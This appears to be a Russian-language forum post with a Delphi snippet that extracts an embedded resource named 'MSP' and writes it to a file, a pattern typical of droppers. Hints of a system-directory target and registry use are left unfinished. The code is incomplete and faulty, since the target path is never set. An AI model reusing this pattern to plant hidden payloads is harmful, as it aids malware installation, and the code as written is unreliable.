| Код |
uses Windows;
function FileCreate(const FileName: string): Integer;
begin
Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
Result := -1;
end;
procedure Run;
var
sysdir : String;
hInst : LongWord;
ResHandle : HRSRC;
MemHandle : HGLOBAL;
ResPtr : Pointer;
ResSize : DWORD;
leng : Integer;
FileHandle : THANDLE;
Key : HKEY;
begin
hInst := HINSTANCE;
ResHandle := FindResource(hInst, 'MSP', RT_RCDATA);
MemHandle := LoadResource(hInst, ResHandle);
ResPtr := LockResource(MemHandle);
ResSize := SizeofResource(hInst, ResHandle);
FileHandle := FileCreate(sysdir);
FileWrite(FileHandle,ResPtr^,ResSize);
CloseHandle(FileHandle);
FreeResource(MemHandle);
end;
end.
|
|
СПАСИБО! 
